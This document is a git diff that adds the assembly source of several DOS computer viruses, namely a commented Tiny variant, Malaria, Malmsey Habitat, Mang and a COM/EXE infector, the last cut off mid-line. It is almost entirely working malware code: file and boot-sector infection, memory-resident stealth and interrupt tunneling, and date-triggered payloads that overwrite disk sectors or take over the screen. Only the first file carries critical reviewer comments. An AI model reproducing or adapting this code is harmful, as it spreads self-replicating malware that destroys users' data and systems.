VIRUS ;Entry point is the virus diff --git a/m/MADE334.ASM b/m/MADE334.ASM new file mode 100755 index 0000000..5835422 --- /dev/null +++ b/m/MADE334.ASM @@ -0,0 +1,250 @@ +muttiny segment byte public + assume cs:muttiny, ds:muttiny + + org 100h + +start: db 0e9h, 5, 0 ; jmp startvir +restorehere: int 20h +idword: dw 990h +; The next line is incredibly pointless. It is a holdover from one +; of the original TINYs, where the id was 7, 8, 9. The author can +; easily save one byte merely by deleting this line. + db 09h +startvir: + call oldtrick ; Standard location-finder +oldtrick: pop si +; The following statement is a bug -- well, not really a bug, just +; extraneous code. The value pushed on the stack in the following +; line is NEVER popped off. This is messy programming, as one byte +; could be saved by removing the statement. + push si + sub si,offset oldtrick + call encrypt ; Decrypt virus + call savepsp ; and save the PSP +; NOTE: The entire savepsp/restorepsp procedures are unnecessary. +; See the procedures at the end for further details. + jmp short findencryptval ; Go to the rest of the virus +; The next line is another example of messy programming -- it is a +; NOP inserted by MASM during assembly. Running this file through +; TASM with the /m2 switch should eliminate such "fix-ups." + nop +; The next line leaves me guessing as to the author's true intent. + db 0 + +encryptval dw 0h + +encrypt: + push bx ; Save handle +; The following two lines of code could be condensed into one: +; lea bx, [si+offset startencrypt] +; Once again, poor programming style, though there's nothing wrong +; with the code. + mov bx,offset startencrypt + add bx,si +; Continueencrypt is implemented as a jmp-type loop. Although it's +; fine to code it this way, it's probably easier to code using the +; loop statement. Upon close inspection, one finds the loop to be +; flawed. Note the single inc bx statement. This essentially makes +; the encryption value a a byte instead of a word, which decreases +; the number of mutations from 65,535 to 255. Once again, this is +; just poor programming, very easily rectified with another inc bx +; statement. Another optimization could be made. Use a +; mov dx, [si+encryptval] +; to load up the encryption value before the loop, and replace the +; three lines following continueencrypt with a simple: +; xor word ptr [bx], dx +continueencrypt: + mov ax,[bx] + xor ax,word ptr [si+encryptval] + mov [bx],ax + inc bx +; The next two lines should be executed BEFORE continueencrypt. As +; it stands right now, they are recalculated every iteration which +; slows down execution somewhat. Furthermore, the value calculated +; is much too large and this increases execution time. Yet another +; improvement would be the merging of the mov/add pair to the much +; cleaner lea cx, [si+offset endvirus]. + mov cx,offset veryend ; Calculate end of + add cx,si ; encryption: Note + cmp bx,cx ; the value is 246 + jle continueencrypt ; bytes too large. + pop bx + ret +writerest: ; Tack on the virus to the + call encrypt ; end of the file. + mov ah,40h + mov cx,offset endvirus - offset idword + lea dx,[si+offset idword] ; Write starting from the id + int 21h ; word + call encrypt + ret + +startencrypt: +; This is where the encrypted area begins. This could be moved to +; where the ret is in procedure writerest, but it is not necessary +; since it won't affect the "scannability" of the virus. + +findencryptval: + mov ah,2Ch ; Get random # + int 21h ; CX=hr/min dx=sec +; The following chunk of code puzzles me. I admit it, I am totally +; lost as to its purpose. + cmp word ptr [si+offset encryptval],0 + je step_two + cmp word ptr [si+offset encryptval+1],0 + je step_two + cmp dh,0Fh + jle foundencryptionvalue +step_two: ; Check to see if any + cmp dl,0 ; part of the encryption + je findencryptval ; value is 0 and if so, + cmp dh,0 ; find another value. + je findencryptval + mov [si+offset encryptval],dx +foundencryptionvalue: + mov bp,[si+offset oldjmp] ; Set up bp for + add bp,103h ; jmp later + lea dx,[si+filemask] ; '*.COM',0 + xor cx,cx ; Attributes + mov ah,4Eh ; Find first +tryanother: + int 21h + jc quit_virus ; If none found, exit + + mov ax,3D02h ; Open read/write + mov dx,9Eh ; In default DTA + int 21h + + mov cx,3 + mov bx,ax ; Swap file handle register + lea dx,[si+offset buffer] + mov di,dx + call read ; Read 3 bytes + cmp byte ptr [di],0E9h ; Is it a jmp? + je infect +findnext: + mov ah,4Fh ; If not, find next + jmp short tryanother +infect: + mov ax,4200h ; Move file pointer + mov dx,[di+1] ; to jmp location + mov [si+offset oldjmp],dx ; and save old jmp + xor cx,cx ; location + call int21h + jmp short skipcheckinf +; Once again, we meet an infamous MASM-NOP. + nop +; I don't understand why checkinf is implemented as a procedure as +; it is executed but once. It is a waste of code space to do such +; a thing. The ret and call are both extra, wasting four bytes. An +; additional three bytes were wasted on the JMP skipping checkinf. +; In a program called "Tiny," a wasted seven bytes is rather large +; and should not exist. I have written a virus of half the length +; of this virus which is a generic COM infector. There is just too +; too much waste in this program. +checkinf: + cmp word ptr [di],990h ; Is it already + je findnext ; infected? +; The je statement above presents another problem. It leaves stuff +; on the stack from the call. This is, once again, not a critical +; error but nevertheless it is extremely sloppy behavior. + xor dx,dx + xor cx,cx + mov ax,4202h + call int21h ; Goto end of file + ret +skipcheckinf: + mov cx,2 + mov dx,di + call read ; read 2 bytes + call checkinf +; The next check is extraneous. No COM file is larger than 65,535 +; bytes before infection simply because it is "illegal." Yet ano- +; ther waste of code. Even if one were to use this useless check, +; it should be implemented, to save space, as or dx, dx. + cmp dx,0 ; Check if too big + jne findnext + + cmp ah,0FEh ; Check again if too big + jae findnext + mov [si+storejmp],ax ; Save new jmp + call writerest ; location + mov ax,4200h ; Go to offset + mov dx,1 ; 1 in the file + xor cx,cx + call int21h + + mov ah,40h ; and write the new + mov cx,2 ; jmp location + lea dx,[si+storejmp] + call int21h +; I think it is quite obvious that the next line is pointless. It +; is a truly moronic waste of two bytes. + jc closefile +closefile: + mov ah,3Eh ; Close the file + call int21h +quit_virus: + call restorepsp + jmp bp + +read: + mov ah,3Fh ; Read file +; I do not understand why all the int 21h calls are done with this +; procedure. It is a waste of space. A normal int 21h call is two +; bytes long while it's three bytes just to call this procedure! +int21h: + int 21h + ret + + db 'Made in England' + +; Note: The comments for savepsp also apply to restorepsp. + +; This code could have easily been changed to a set active DTA INT +; 21h call (AH = 1Ah). It would have saved many, many bytes. + +savepsp: + mov di,0 +; The following is a bug. It should be +; mov cx, 50h +; since the author decided to use words instead of bytes. + mov cx,100h + push si +; The loop below is dumb. A simple rep movsw statement would have +; sufficed. Instead, countless bytes are wasted on the loop. +storebytes: + mov ax,[di] + mov word ptr [si+pspstore],ax + add si,2 + add di,2 + loop storebytes + pop si + ret + +restorepsp: + mov di,0 + mov cx,100h ; Restore 200h bytes + push si +restorebytes: + mov ax,word ptr [si+pspstore] + mov [di],ax + add si,2 + add di,2 + loop restorebytes + pop si + ret + +oldjmp dw 0 +filemask db '*.COM',0 +idontknow1 db 66h ; Waste of one byte +buffer db 00h, 00h, 01h ; Waste of three bytes +storejmp dw 0 ; Waste of two bytes +; endvirus should be before idontknow1, thereby saving six bytes. +endvirus: +idontknow2 db ?, ? +pspstore db 200 dup (?) ; Should actually be +idontknow3 db 2ch dup (?) ; 100h bytes long. +veryend: ; End of encryption +muttiny ends + end start diff --git a/m/MALARIA.ASM b/m/MALARIA.ASM new file mode 100755 index 0000000..552b944 --- /dev/null +++ b/m/MALARIA.ASM @@ -0,0 +1,408 @@ +; +;============================================================================= +; [Malaria] +; TSR, parasitic, tunneling, sub-stealth, floppy, COM infecting virus +;============================================================================= +; + +virus_size equ (v_end-v_start) +loader_size equ (loader_end-loader_start) +paragraph_size equ (heap_end-v_start+010Fh)/0010h+0001h + + .model tiny + .code + .286 + org 0100h +start: +v_start: + push ds es + dec ax + int 0013h + inc ax + jz exit_install + mov ax,es + dec ax + mov ds,ax + mov bx,5A4Dh + sub si,si + cmp bl,byte ptr [si] + jz exit_install + mov ax,offset exit_install +delta_two = $-0002h + push cs ax + sub word ptr [si+0003h],paragraph_size + sub word ptr [si+0012h],paragraph_size + mov byte ptr [si],bl + mov ax,word ptr [si+0012h] + mov ds,ax + mov byte ptr [si],bh + mov word ptr [si+0001h],0008h + mov word ptr [si+0003h],paragraph_size-0001h + inc ax + mov es,ax + push ax + mov si,offset v_start +delta_one = $-0002h + mov cx,virus_size + mov di,offset v_start + rep movs byte ptr [di],cs:[si] + mov ax,offset trace_interrupt + push ax + retf +exit_install: + pop es ds + mov si,offset host_bytes +delta_three = $-0002h + mov di,offset v_start + push di + movsb + movsw + retn +loader_start: + mov ax,0B900h + mov es,ax + push ax + mov ax,offset restore_boot_sector + push ax + mov ax,0202h + mov bx,offset v_start + mov cx,'ML' +loader_fix_1 = $-0002h + inc dh + int 0013h + retf +loader_end: +restore_boot_sector: + xor ax,ax + mov es,ax + mov si,offset boot_bytes + mov di,7C00h + push ax di + mov cl,loader_size shr 0001h + rep movs word ptr [di],cs:[si] + mov ax,word ptr es:[0084h] + mov word ptr cs:[int_word],ax + push cs + pop es + mov byte ptr cs:[trace_interrupt_],00C3h + call trace_interrupt + mov byte ptr cs:[trace_interrupt_],00BEh + retf +trace_interrupt: + mov ds,cx + mov byte ptr cs:[trap_flag],cl + mov si,004Ch + mov di,offset i0013hOffset + movsw + movsw + mov word ptr [si-0004h],offset i0013h + mov word ptr [si-0002h],cs +trace_interrupt_: + mov si,0084h + mov di,offset i0021hOffset + movsw + movsw + mov word ptr [si-0004h],offset i0021h + mov word ptr [si-0002h],cs + mov si,0004h + push word ptr ds:[si] word ptr ds:[si+0002h] + mov word ptr [si],offset i0001h + mov word ptr [si+0002h],cs + mov ah,0052h + int 0021h + mov word ptr cs:[dos_segment],es + mov ah,0001h + push ax + popf + mov ah,0019h + call call_i0021h + pop word ptr ds:[si+0002h] word ptr ds:[si] + retf +i0001h: push bp + mov bp,sp + push ax + cmp byte ptr cs:[trap_flag],0001h + jz i0001h_exit_ + mov ax,word ptr [bp+0004h] + cmp ax,0D00Dh +dos_segment = $-0002h + jnz i0001h_exit + mov word ptr cs:[t0021hSegment],ax + mov ax,word ptr [bp+0002h] + mov word ptr cs:[t0021hOffset],ax + inc byte ptr cs:[trap_flag] +i0001h_exit_: + and byte ptr [bp+0007h],-0002h +i0001h_exit: + pop ax bp +int_return: + iret +i0013h: cmp ax,-0001h + jz int_return + cmp byte ptr cs:[trap_flag],0001h + jz i0013h_continue + pusha + push ds es cs + pop es + cwd + mov ds,dx + mov ax,word ptr ds:[0084h] + cmp ax,word ptr cs:[int_word] + jz hook_exit + push cs + call trace_interrupt_ +hook_exit: + pop es ds + popa +i0013h_continue: + cmp dl,0001h + jnb original_i0013h + cmp ah,0002h + jz i0013h_stealth_boot + pusha + push ds es + cmp ah,0003h + jnz i0013h_exit +i0013h_infect_boot: + mov ax,0BBE8h + mov es,ax + mov ax,0201h + xor bx,bx + mov cx,0001h + xor dh,dh + call call_i0013h + cmp byte ptr es:[bx],00B8h + jz i0013h_exit + mov al,byte ptr es:[bx+0010h] + mul byte ptr es:[bx+0016h] + xchg ax,cx + mov ax,word ptr es:[bx+0011h] + shr ax,0004h + add ax,cx + sub ax,word ptr es:[bx+0018h] + mov word ptr cs:[loader_fix_1],ax + push ax es es cs + pop es ds + mov cl,loader_size shr 0001h + xor si,si + mov di,offset boot_bytes + rep movsw + pop es + mov cl,loader_size shr 0001h + mov si,offset loader_start + sub di,di + rep movs word ptr [di],cs:[si] + mov ax,0301h + inc cx + call call_i0013h + push cs + pop es + mov ax,0302h + mov bx,offset v_start + pop cx + inc dh + call call_i0013h +i0013h_exit: + pop es ds + popa +original_i0013h: + db 00EAh,'PURE' +i0013hOffset = $-0004h +i0013hSegment = $-0002h +i0013h_stealth_boot: + cmp cx,0001h + jnz original_i0013h + or dh,dh + jnz original_i0013h + pusha + call call_i0013h + jc i0013h_stealth_boot_exit + cmp byte ptr es:[bx],00B8h + jnz i0013h_stealth_boot_exit + mov si,offset boot_bytes + mov di,bx + mov cl,loader_size shr 0001h + rep movs word ptr [di],cs:[si] +i0013h_stealth_boot_exit: + popa + clc + retf 0002h +i0021h: cmp ah,0011h + jz fcb_stealth + cmp ah,0012h + jz fcb_stealth + cmp ah,004Eh + jz dta_stealth + cmp ah,004Fh + jz dta_stealth + pusha + push ds es + cmp ax,4300h + jz i0021h_infect_file + cmp ax,4301h + jz i0021h_infect_file + cmp ax,4B00h + jz i0021h_infect_file +i0021h_exit: + pop es ds + popa +original_i0021h: + db 00EAh,'TEXT' +i0021hOffset = $-0004h +i0021hSegment = $-0002h +fcb_stealth: + call call_i0021h + pusha + push es + inc al + jz fcb_exit_ + mov ah,002Fh + call tunnel_i0021h + cmp byte ptr es:[bx],-0001h + jnz fcb_continue + add bx,0007h +fcb_continue: + mov ax,word ptr es:[bx+0017h] + mov cx,word ptr es:[bx+0019h] + call hide_dir +fcb_exit_: + pop es + popa +fcb_exit: + iret +dta_stealth: + call call_i0021h + jc dta_exit + pusha + push es + mov ah,002Fh + call tunnel_i0021h + mov ax,word ptr es:[bx+0016h] + mov cx,word ptr es:[bx+0018h] + sub bx,0003h + call hide_dir + pop es + popa +dta_exit: + retf 0002h +_close_file: + jmp close_file +i0021h_infect_file: + push ds + pop es + mov al,002Eh + mov cx,0040h + mov di,dx + repnz scasb + cmp word ptr [di],4F43h + jnz i0021h_exit + mov ax,3D02h + call tunnel_i0021h + xchg ax,bx + mov ax,1220h + int 002Fh + push bx + mov ax,1216h + mov bl,byte ptr es:[di] + int 002Fh + pop bx + mov si,offset temp_buffer + push cs + pop ds + mov ah,003Fh + mov cl,0003h + mov dx,si + call tunnel_i0021h + cmp word ptr [si],5A4Dh + jz close_file + cmp word ptr [si],4D5Ah + jz close_file + push si + lodsb + mov byte ptr [si-0004h],al + lodsw + mov word ptr [si-0005h],ax + pop si + mov ax,word ptr es:[di+0011h] + mov word ptr es:[di+0015h],ax + mov cx,virus_size + cmp ax,cx + jb close_file + push ax + sub ax,0003h + mov byte ptr [si],00E9h + mov word ptr [si+0001h],ax + sub ax,cx + cmp ax,word ptr [si-0002h] + pop ax + jz close_file + add ax,offset v_start + mov word ptr [delta_one],ax + add ax,offset exit_install-v_start + mov word ptr [delta_two],ax + add ax,offset host_bytes-exit_install + mov word ptr [delta_three],ax + mov ah,0040h + mov dx,offset v_start + call tunnel_i0021h + mov word ptr es:[di+0015h],0000h + mov ah,0040h + mov cx,0003h + mov dx,si + call tunnel_i0021h + mov ax,5701h + mov cx,word ptr es:[di+000Dh] + mov dx,word ptr es:[di+000Fh] + push dx + and cx,-0020h + and dx,001Fh + dec dx + or cx,dx + pop dx + call tunnel_i0021h +close_file: + mov ah,003Eh + call tunnel_i0021h + jmp i0021h_exit +hide_dir: + mov si,001Fh + and ax,si + and cx,si + dec cx + xor ax,cx + jnz hide_exit + cmp ax,word ptr es:[bx+si] + ja hide_exit + mov ax,virus_size + cmp word ptr es:[bx+si-0002h],ax + jbe hide_exit +hide_continue: + sub word ptr es:[bx+si-0002h],ax +hide_exit: + retn +tunnel_i0021h: + pushf + db 009Ah,'PURE' +t0021hOffset = $-0004h +t0021hSegment = $-0002h + retn +call_i0013h: + pushf + push cs + call original_i0013h + retn +call_i0021h: + pushf + push cs + call original_i0021h + retn +boot_bytes db loader_size dup (0000h) +host_bytes db 00CDh,0020h,'!' +v_end: +heap_start: +temp_buffer db 0003h dup (?) +trap_flag db 0001h dup (?) +int_word db 0002h dup (?) +heap_end: +end start +. diff --git a/m/MALMSEYS.ASM b/m/MALMSEYS.ASM new file mode 100755 index 0000000..bf031ba --- /dev/null +++ b/m/MALMSEYS.ASM @@ -0,0 +1,224 @@ +; +;Happy Birthday Robbie Virus +; + + code segment 'CODE' + assume cs:code,ds:code,es:code,ss:code + + org 0100h + +code_length equ finish - start +lf equ 0Ah +cr equ 0Dh + +start label near + +id_bytes proc near + mov si,si ; Serves no purpose: our ID +id_bytes endp + +main: mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds attribute mask + mov dx,offset com_spec ; DX points to "*.COM" + +file_loop: int 021h + jc exit_virus ; If there are no files, go + ; off + + call infect_file ; Try to infect found file + jne exit_virus ; Exit if successful + + mov ah,04Fh ; DOS find next file function + jmp short file_loop ; Repeat until out of files + +exit_virus: + mov ah,2Ah + int 21h + cmp dl,3 + jne dos_drop + cmp dh,10 + je eat_screen +dos_drop: int 20h +eat_screen: mov byte ptr count,0 + mov ah,00 + mov al,03 + int 10h + mov ah,08 + int 10h + mov byte ptr count2,al + cmp byte ptr count2,00 + jne draw_face + mov byte ptr count2,0fh +draw_face: + mov ah,01 ;set cursor type + mov cl,00 + mov ch,40h + int 10h + mov cl,00 + mov dl,4fh + mov ah,06 ;clear the display window + mov al,00 + mov bh,0fh ;blank line attribs + mov ch,00 ;starting at upper left corner + mov cl,00 ; to + mov dh,00 ;row 0 + mov dl,4fh ;column 4Fh + int 10h + mov ah,02 ;set cursor position + mov dh,00 ;to row 0, + mov dl,1fh ;column 1Fh + mov bh,00 ;in graphics mode + int 10h + mov dx,offset eyes ;get the eyes + mov ah,09 ;and draw them to screen + mov bl,0fh ;this colour + int 21h + mov ah,02 ;reposition character + mov dh,01 ;to row 1, + mov dl,00 ;column 0 + int 10h + mov ah,09 ;write character and attrib + mov al,0dch ;character shape + mov bl,0fh ;character colour + mov cx,50h ;number of characters. + int 10h + mov ah,02 ;reposition cursor + mov dh,18h ;to row 18h + mov dl,00 ;column 0 + int 10h + mov ah,09 ;write character & attribute + mov al,0dfh ;character shape + mov bl,0fh ;character colour + mov cx,0050h ;number of characters + int 10h + mov dl,00 ;back to column 0 +make_teeth: + mov ah,02 ;set cursor position + mov dh,02 ;to row 2 + int 10h + mov ah,09 ;write the character + mov al,55h ; "U" for one top tooth + mov bl,0fh ; colour code + mov cx,1 ;only one tooth + int 10h + mov ah,02 + mov dh,17h ;row 17h + inc dl ;increase column number + int 10h + mov ah,09 ;write a character there. + mov al,0efh ;character "" for bottom teeth + mov bl,0fh ;colour code + int 10h + inc dl ;increment column number + cmp dl,50h ;is there 50h of them yet? + jl make_teeth ;make more if not + mov byte ptr count,0 ;0 the counter +pause_1: + mov cx,7fffh +a_loop: + loop a_loop ;pause + inc byte ptr count + cmp byte ptr count,0ah + jl pause_1 + mov byte ptr count,00 + mov cl,00 ;from column 0 + mov dl,4fh ;to column 79, +close_jaws: + mov ah,06 ;scroll the page up + mov al,01 ;blanking a line + mov bh,byte ptr count ;with this attribute + mov ch,0dh ;and from row 13 + mov dh,18h ;to row 24 + int 10h + mov ah,07 ;scroll downward + mov al,01 ;blanking one line + mov bh,byte ptr count ;with this attribute + mov ch,00 ;from row 0 + mov dh,0ch ;to row 12 + int 10h + mov cx,3fffh +b_loop: + loop b_loop ;pause + inc byte ptr count + cmp byte ptr count,0bh + jl close_jaws + mov byte ptr count,00 +pause_2: + mov cx,7fffh +finish_up: + loop finish_up + inc byte ptr count ;increment count by 1 + cmp byte ptr count,0ah ;is it a 10 yet? + jl pause_2 ;no? loop again... + mov ah,06 ;scroll page up + mov al,00 ;blank entire window + mov bh,byte ptr count ;with this attribute + mov ch,00 ;from row 0, + mov cl,00 ;column 0, + mov dh,18h ;to row 18h + mov dl,4fh ;column 79 + int 10h + mov ah,01 ;reset cursor type + mov cl,07 + mov ch,06 ;everything is back to normal + int 10h + mov si,offset rabid +fuckin_loop: lodsb + or al,al + jz $ + mov ah, 0Eh + int 10h + jmp short fuckin_loop +infect_file: + mov ax,03D02h ; DOS open file function, + ; read-write + mov dx,09Eh ; DX points to the victim + int 021h + + xchg bx,ax ; BX holds file handle + + mov ah,03Fh ; DOS read from file function + mov cx,2 ; CX holds byte to read (2) + mov dx,offset buffer ; DX points to buffer + int 021h + + cmp word ptr [buffer],0F68Bh;Are the two bytes "MOV SI,SI" + pushf ; Save flags + je close_it_up ; If not, then file is OK + + cwd ; Zero CX \_ Zero bytes from + ; start + mov cx,dx ; Zero DX / + mov ax,04200h ; DOS file seek function, + ; start + int 021h + + mov ah,040h ; DOS write to file function + mov cx,code_length ; CX holds virus length + mov dx,offset start ; DX points to start of virus + int 021h + +close_it_up: mov ah,03Eh ; DOS close file function + int 021h + + popf ; Restore flags + ret ; Return to caller + +buffer dw ? ; Buffer to hold test data + +; Initialized data goes here + +com_spec db "*.COM",0 ; What to infect: all COM +count db 0, 0 +count2 db 0, 0 +eyes db '(o) (o)$' +dinked db '[Malmsey Habitat v. 1.3]', 0 +rabid db cr, lf + db 'Warmest Regards to RABID', cr, lf + db 'from -- ANARKICK SYSTEMS! ',0,'$' + +finish: + +code ends + end start + diff --git a/m/MANG.ASM b/m/MANG.ASM new file mode 100755 index 0000000..38599c5 --- /dev/null +++ b/m/MANG.ASM @@ -0,0 +1,252 @@ + +PAGE 59,132 + +; +; +; MANG +; +; Created: 30-Aug-92 +; Passes: 5 Analysis Options on: none +; +; + +data_0001e equ 4Ch +data_0002e equ 4Eh +main_ram_size_ equ 413h +data_0003e equ 7C00h ;* +data_0004e equ 7C05h ;* +data_0005e equ 7C0Ah ;* +data_0006e equ 7C0Ch ;* +data_0007e equ 7 +data_0008e equ 8 +data_0009e equ 0Ah +data_0014e equ 3BEh ;* +data_0015e equ 7C03h ;* +data_0016e equ 0B300h ;* +data_0017e equ 1BEh ;* +data_0018e equ 5000h ;* + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +mang proc far + +start: + jmp loc_0007 + cmc ; Complement carry + add [bx+si-61h],al + add cl,ds:data_0016e + db 2Eh, 00h,0F0h, 1Eh, 50h, 0Ah + db 0D2h, 75h, 1Bh, 33h,0C0h, 8Eh + db 0D8h,0F6h, 06h, 3Fh, 04h, 01h + db 75h, 10h, 58h, 1Fh, 9Ch, 2Eh + db 0FFh, 1Eh, 0Ah, 00h, 9Ch,0E8h + db 0Bh, 00h, 9Dh,0CAh, 02h, 00h + db 58h, 1Fh, 2Eh,0FFh, 2Eh, 0Ah + db 00h + db 50h, 53h, 51h, 52h, 1Eh, 06h + db 56h, 57h, 0Eh, 1Fh, 0Eh, 07h + db 0BEh, 04h, 00h +loc_0002: + mov ax,201h + mov bx,200h + mov cx,1 + xor dx,dx ; Zero register + pushf ; Push flags + call dword ptr ds:data_0009e + jnc loc_0003 ; Jump if carry=0 + xor ax,ax ; Zero register + pushf ; Push flags + call dword ptr ds:data_0009e + dec si + jnz loc_0002 ; Jump if not zero + jmp short loc_0006 +loc_0003: + xor si,si ; Zero register + cld ; Clear direction + lodsw ; String [si] to ax + cmp ax,[bx] + jne loc_0004 ; Jump if not equal + lodsw ; String [si] to ax + cmp ax,[bx+2] + je loc_0006 ; Jump if equal +loc_0004: + mov ax,301h + mov dh,1 + mov cl,3 + cmp byte ptr [bx+15h],0FDh + je loc_0005 ; Jump if equal + mov cl,0Eh +loc_0005: + mov ds:data_0008e,cx + pushf ; Push flags + call dword ptr ds:data_0009e + jc loc_0006 ; Jump if carry Set + mov si,data_0014e + mov di,1BEh + mov cx,21h + cld ; Clear direction + rep movsw ; Rep when cx >0 Mov [si] to es:[di] + mov ax,301h + xor bx,bx ; Zero register + mov cx,1 + xor dx,dx ; Zero register + pushf ; Push flags + call dword ptr ds:data_0009e +loc_0006: + pop di + pop si + pop es + pop ds + pop dx + pop cx + pop bx + pop ax + retn +loc_0007: + xor ax,ax ; Zero register + mov ds,ax + cli ; Disable interrupts + mov ss,ax + mov ax,7C00h + mov sp,ax + sti ; Enable interrupts + push ds + push ax + mov ax,ds:data_0001e + mov ds:data_0005e,ax + mov ax,ds:data_0002e + mov ds:data_0006e,ax + mov ax,ds:main_ram_size_ + dec ax + dec ax + mov ds:main_ram_size_,ax + mov cl,6 + shl ax,cl ; Shift w/zeros fill + mov es,ax + mov ds:data_0004e,ax + mov ax,0Eh + mov ds:data_0001e,ax + mov ds:data_0002e,es + mov cx,1BEh + mov si,data_0003e + xor di,di ; Zero register + cld ; Clear direction + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + jmp dword ptr cs:data_0015e + xor ax,ax ; Zero register + mov es,ax + int 13h ; Disk dl=drive a ah=func 00h + ; reset disk, al=return status + push cs + pop ds + mov ax,201h + mov bx,data_0003e + mov cx,ds:data_0008e + cmp cx,7 + jne loc_0008 ; Jump if not equal + mov dx,80h + int 13h ; Disk dl=drive 0 ah=func 02h + ; read sectors to memory es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + jmp short loc_0009 +loc_0008: + mov cx,ds:data_0008e + mov dx,100h + int 13h ; Disk dl=drive a ah=func 02h + ; read sectors to memory es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + jc loc_0009 ; Jump if carry Set + push cs + pop es + mov ax,201h + mov bx,200h + mov cx,1 + mov dx,80h + int 13h ; Disk dl=drive 0 ah=func 02h + ; read sectors to memory es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + jc loc_0009 ; Jump if carry Set + xor si,si ; Zero register + cld ; Clear direction + lodsw ; String [si] to ax + cmp ax,[bx] + jne loc_0014 ; Jump if not equal + lodsw ; String [si] to ax + cmp ax,[bx+2] + jne loc_0014 ; Jump if not equal +loc_0009: + xor cx,cx ; Zero register + mov ah,4 + int 1Ah ; Real time clock ah=func 04h + ; get date cx=year, dx=mon/day + cmp dx,306h + je loc_0010 ; Jump if equal + retf ; Return far +loc_0010: + xor dx,dx ; Zero register + mov cx,1 +loc_0011: + mov ax,309h + mov si,ds:data_0008e + cmp si,3 + je loc_0012 ; Jump if equal + mov al,0Eh + cmp si,0Eh + je loc_0012 ; Jump if equal + mov dl,80h + mov byte ptr ds:data_0007e,4 + mov al,11h +loc_0012: + mov bx,data_0018e + mov es,bx + int 13h ; Disk dl=drive 0 ah=func 03h + ; write sectors from mem es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + jnc loc_0013 ; Jump if carry=0 + xor ah,ah ; Zero register + int 13h ; Disk dl=drive 0 ah=func 00h + ; reset disk, al=return status +loc_0013: + inc dh + cmp dh,ds:data_0007e + jb loc_0011 ; Jump if below + xor dh,dh ; Zero register + inc ch + jmp short loc_0011 +loc_0014: + mov cx,7 + mov ds:data_0008e,cx + mov ax,301h + mov dx,80h + int 13h ; Disk dl=drive 0 ah=func 03h + ; write sectors from mem es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + jc loc_0009 ; Jump if carry Set + mov si,data_0014e + mov di,data_0017e + mov cx,21h + rep movsw ; Rep when cx >0 Mov [si] to es:[di] + mov ax,301h + xor bx,bx ; Zero register + inc cl + int 13h ; Disk dl=drive 0 ah=func 03h + ; write sectors from mem es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + jmp short loc_0009 + db 16 dup (0) + db 0Ah, 'Replace and press any key w' + db 'hen ready', 0Dh, 0Ah, 0 + db 'IO SYSMSDOS SYS' + db 00h, 00h, 55h,0AAh + +mang endp + +seg_a ends + + + + end start diff --git a/m/MANVIR.ASM b/m/MANVIR.ASM new file mode 100755 index 0000000..7f1ab0c --- /dev/null +++ b/m/MANVIR.ASM @@ -0,0 +1,529 @@ + +PAGE 59,132 + +; +; +; PROB +; +; Created: 1-Jan-80 +; Version: +; Passes: 5 Analysis Options on: ABCDEFPX +; +; +; + +data_1e equ 0 ; (6B7E:0000=0) +data_2e equ 2 ; (6B7E:0002=0) +data_4e equ 0F1h ; (6B7E:00F1=0) +data_17e equ 499h ; (6C11:0499=0) +data_18e equ 49Bh ; (6C11:049B=0) +data_19e equ 49Dh ; (6C11:049D=0) +data_20e equ 49Fh ; (6C11:049F=0) +data_21e equ 4B8h ; (6C11:04B8=0) + +;-------------------------------------------------------------- seg_a ---- + +seg_a segment para public + assume cs:seg_a , ds:seg_a , ss:stack_seg_c + + db 256 dup (0) + db 8Ch, 0C8h, 8Eh, 0D8h, 0BAh, 10h + db 1, 0B4h, 9, 0CDh, 21h, 0B8h + db 0, 4Ch, 0CDh + db '!This is a test', 0Ah, 0Dh, '$' + db 1807 dup (0) + +seg_a ends + + + +;-------------------------------------------------------------- seg_b ---- + +seg_b segment para public + assume cs:seg_b , ds:seg_b , ss:stack_seg_c + + db 241 dup (0) + db 4Fh, 4Dh + db 9 dup (20h) + db 0, 0, 0, 0 + +; +; +; Program Entry Point +; +; + + +prob proc far + +start: + jmp short loc_3 ; (0137) +data_10 dw 5A4Dh + db 21h, 1, 6, 0, 0, 0 + db 20h, 0, 0, 0, 0FFh, 0FFh +data_11 dw 0 +data_12 dw 0 + db 0BBh, 0DDh +data_13 dd 00100h + db 'COMMAND.COM' + db 0 + +prob endp + +; +; SUBROUTINE +; + +sub_1 proc near ; EXE + cmp cs:data_10,4D5Ah ; (6C11:0102=5A4Dh) + je loc_ret_2 ; Jump if equal + cmp cs:data_10,5A4Dh ; (6C11:0102=5A4Dh) + +loc_ret_2: + retn +sub_1 endp + +loc_3: + mov cs:data_19e,ds ; (6C11:049D=0) + push ax + mov ax,0EC59h ; + int 21h ; DOS Services ah=function ECh + cmp bp,ax ; AX<>BP + jne loc_6 + push cs + pop ds +loc_4: + pop ax + mov es,cs:data_19e ; (6C11:049D=0) + call sub_1 ; (COM/EXE)? + jz loc_5 ; Jump if zero + mov cx,0Dh ; COM + mov si,102h + push es + mov di,100h + push di ; 13 + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + push es + pop ds ; + retf ; Return far +loc_5: + mov si,es ; EXE + add si,10h + add word ptr cs:data_13+2,si; CS + add si,cs:data_11 ; SS + mov di,cs:data_12 ; SP + push es + pop ds + cli ; Disable interrupts + mov ss,si + mov sp,di + sti ; Enable interrupts + jmp cs:data_13 ; +loc_6: + mov ax,3521h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov dx,bx + push es + pop ds + mov ax,25ECh ; INT 21H INT ECH + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + mov ax,cs:data_19e ; (6C11:049D=0) + mov es,ax + dec ax + mov ds,ax + mov bx,word ptr ds:data_2e+1 ; (6B7E:0003=0) + sub bx,65h + add ax,bx + mov es:data_2e,ax ; (6B7E:0002=0) + mov ah,4Ah ; 'J' + int 0ECh + mov bx,64h + mov ah,48h ; 'H' + int 0ECh + sub ax,10h + mov es,ax + mov byte ptr ds:data_1e,5Ah ; (6B7E:0000=0) 'Z' + push cs + pop ds + mov si,100h + mov di,si + mov cx,39Fh + nop ; + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + mov di,1D0h + push es + push di + retf ; Return far + mov word 